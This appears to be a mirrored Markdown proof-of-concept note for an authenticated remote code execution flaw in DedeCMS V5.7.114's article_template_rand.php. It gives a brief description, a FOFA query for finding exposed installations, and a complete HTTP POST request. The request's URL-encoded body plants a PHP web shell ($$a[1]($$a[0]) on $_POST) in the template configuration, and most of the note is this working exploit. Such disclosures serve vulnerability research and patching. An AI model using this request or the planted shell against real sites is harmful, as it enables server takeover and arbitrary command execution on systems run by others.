mirror of
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42 lines
2.9 KiB
Markdown
42 lines
2.9 KiB
Markdown
# DedeCMSV5.7.114后台article_template_rand.php存在远程代码执行漏洞
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DedeCMS V5.7.114存在远程代码执行漏洞。产生该漏洞的原因是，虽然article_template_rand.php对编辑的文件进行了一定的限制，但攻击者仍然可以绕过这些限制并以某种方式编写代码，从而允许经过身份验证的攻击者利用该漏洞执行任意命令并获取系统权限。
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## fofa
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```yaml
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app="DedeCMS网站内容管理系统"
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```
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## poc
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```yaml
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POST /dede/article_template_rand.php HTTP/1.1
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Host: 127.0.0.11
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate, br
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 1065
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Origin: http://127.0.0.11
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Connection: close
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Referer: http://127.0.0.11/dede/article_template_rand.php
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Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=89s6bbv2d1unokav5grt4bk2g4; _csrf_name_236f0c58=8f0d4c50bfce77f693ce4b8d93af8be7; _csrf_name_236f0c581BH21ANI1AGD297L1FF21LN02BGE1DNG=23bfa72eb66439a6; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=10acd9938ef3615d; DedeLoginTime=1720185221; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=d2b9bcefe628ee47; ENV_GOBACK_URL=%2Fdede%2Fsys_admin_user.php
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Upgrade-Insecure-Requests: 1
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Sec-Fetch-Dest: iframe
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Sec-Fetch-Mode: navigate
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Sec-Fetch-Site: same-origin
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Sec-Fetch-User: ?1
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Priority: u=4
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dopost=save&token=7fa44bfa91d7f797b4c983c76f7c9f9e&templates=%3C%3Fphp%0D%0A%0D%0A%2F%2F%E8%BF%99%E4%B8%AA%E5%80%BC%E4%B8%BA+0+%E8%A1%A8%E7%A4%BA%E5%85%B3%E9%97%AD%E6%AD%A4%E8%AE%BE%E7%BD%AE%EF%BC%8C+%E4%B8%BA+1+%E8%A1%A8%E7%A4%BA%E5%BC%80%E5%90%AF%0D%0A%24cfg_tamplate_rand+%3D+0%3B%0D%0A%0D%0A%2F%2F%E6%A8%A1%E6%9D%BF%E6%95%B0%E7%BB%84%EF%BC%8C%E5%A6%82%E6%9E%9C%E9%9C%80%E8%A6%81%E5%A2%9E%E5%8A%A0%EF%BC%8C%E6%8C%89%E8%BF%99%E4%B8%AA%E6%A0%BC%E5%BC%8F%E5%A2%9E%E5%8A%A0%E6%88%96%E4%BF%AE%E6%94%B9%E5%8D%B3%E5%8F%AF%28%E5%BF%85%E9%A1%BB%E7%A1%AE%E4%BF%9D%E8%BF%99%E4%BA%9B%E6%A8%A1%E6%9D%BF%E6%98%AF%E5%AD%98%E5%9C%A8%E7%9A%84%29%EF%BC%8C%E5%B9%B6%E4%B8%94%E6%95%B0%E9%87%8F%E5%BF%85%E9%A1%BB%E4%B8%BA2%E4%B8%AA%E6%88%96%E4%BB%A5%E4%B8%8A%E3%80%82%0D%0A%24cfg_tamplate_arr%5B%5D+%3D+%27article_article.htm%27%3B%0D%0A%24cfg_tamplate_arr%5B%5D+%3D+%27article_article1.htm%27%3B%0D%0A%24cfg_tamplate_arr%5B%5D+%3D+%27article_article2.htm%27%3B%0D%0A%24a+%3D+%27_POST%27%3B%0D%0A%24%24a%5B1%5D%28%24%24a%5B0%5D%29%3B%0D%0A%3F%3E%0D%0A&imageField1.x=6&imageField1.y=9
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```
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## 漏洞来源
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- https://gitee.com/fushuling/cve/blob/master/dedeCMS%20V5.7.114%20article_template_rand.php%20code%20injection.md |